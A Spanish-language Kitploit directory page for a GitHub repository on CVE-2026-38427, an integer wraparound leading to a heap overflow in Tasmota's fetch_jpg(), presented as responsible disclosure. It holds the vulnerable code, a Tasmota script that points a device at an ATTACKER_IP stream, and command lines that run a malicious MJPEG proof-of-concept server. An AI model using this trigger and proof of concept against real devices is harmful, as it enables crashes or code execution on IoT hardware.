Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-38427 — CVE-2026-38427 — Envoltura de entero → Desbordamiento de búfer en el montón en Tasmota fetch_jpg() uint16_t (Tasmota <= 15.3.0.3) | Kitploit
Herramientas/GitHubGitHub/sermikr0/cve-2026-38427
Seguridad de Sistemas EmbebidosSeguridad IoTAnálisis de VulnerabilidadesExplotaciónPruebas de PenetraciónSeguridad de Hardware e IoTExplotación de Binarios
GitHubsermikr0/cve-2026-38427

CVE-2026-38427

CVE-2026-38427 — Envoltura de entero → Desbordamiento de búfer en el montón en Tasmota fetch_jpg() uint16_t (Tasmota <= 15.3.0.3)

Ver Repositorio
hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-38427: Envoltura de enteros → Desbordamiento de búfer en el montón en Tasmota fetch_jpg()

CVE: CVE-2026-38427
Gravedad: Crítico (CVSS 9.8)
Producto: Arendst Tasmota
Versión afectada: <= 15.3.0.3
Archivo: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Función: fetch_jpg() — caso 2 (obtención de tramas MJPEG)
Autor: Saidakbarxon Maxsudxonov
Divulgación: Responsable — notificado a Tasmota antes de la publicación


Resumen

Existe una vulnerabilidad de envoltura de enteros uint16_t en la función fetch_jpg() del controlador de scripts de Tasmota. Cuando un dispositivo Tasmota obtiene tramas MJPEG de un servidor controlado por el atacante, el valor de la cabecera Content-Length se lee en una variable uint16_t mediante atoi(). Los valores mayores que 65535 se envuelven silenciosamente (p. ej., 65537 → 1), lo que provoca que se asigne un búfer de montón drásticamente más pequeño de lo necesario. El dispositivo solo lee el número envuelto de bytes del flujo, dejando el resto en el búfer del flujo, lo que causa corrupción del estado del montón/flujo que conduce a un bloqueo (DoS) o posible ejecución remota de código.


Código vulnerable

root@kitploit:~
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino

// Case 2: fetch next MJPEG frame
char inbuff[64];
stream.readBytesUntil('\n', inbuff, sizeof(inbuff));  // reads "Content-Length: 70000"
char *cp = strchr(inbuff, ':');
uint16_t size = 0;
if (cp) {
    size = atoi(cp + 1);   // atoi() returns int 70000
                            // IMPLICIT TRUNCATION: uint16_t = 70000 & 0xFFFF = 4464
}
uint8_t *buff = (uint8_t *)special_malloc(size);   // malloc(4464) — too small!
if (buff) {
    stream.readBytes(buff, size);                  // reads only 4464 bytes
                                                   // 65536 bytes remain in stream → corruption
}

Tabla de envoltura de enteros


Escenario de ataque

Un atacante que pueda hacer que un dispositivo Tasmota se conecte a su servidor HTTP (mediante un script malicioso de Tasmota o un MITM) puede enviar tramas MJPEG con valores de Content-Length superiores a 65535. El dispositivo:

  1. Asignará un búfer pequeño (valor envuelto)
  2. Leerá solo una fracción de los datos
  3. Dejará los bytes restantes corrompiendo el estado del flujo HTTP/WiFi
  4. Se bloqueará o mostrará un comportamiento indefinido que podría llevar a un RCE

Disparo mediante script de Tasmota:

root@kitploit:~
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)
>1
=fetchjp(2,0,0,1)

Prueba de concepto

La PoC ejecuta un servidor HTTP MJPEG falso que envía tramas con valores de Content-Length maliciosos:

root@kitploit:~
python3 CVE-2026-38427_poc.py --port 8889 --cl 65537
python3 CVE-2026-38427_poc.py --port 8889 --cl 131072

Consulta CVE-2026-38427_poc.py para ver la implementación completa.


Impacto

  • Confidencialidad: Alta (posible RCE en ESP32)
  • Integridad: Alta
  • Disponibilidad: Alta (bloqueo/reinicio garantizados)
  • Vector de ataque: Red
  • Autenticación: No se requiere (el dispositivo debe estar programado para conectarse al servidor del atacante)

Cronología

  • 2026-03-29: Vulnerabilidad descubierta y notificada a MITRE
  • 2026-03-29: CVE-2026-38427 asignado
  • 2026-05-xx: Parche publicado por Tasmota (v15.3.0.4+)

Referencias

  • GitHub de Tasmota
  • xdrv_10_scripter.ino
  • CVE-2026-38427
Descargar herramienta
Content-Length (cabecera)valor uint16_tBúfer asignadoBytes no leídos
6553600 (omitido)65536
6553711 byte65536
7000044644464 bytes65536
13107200 (omitido)131072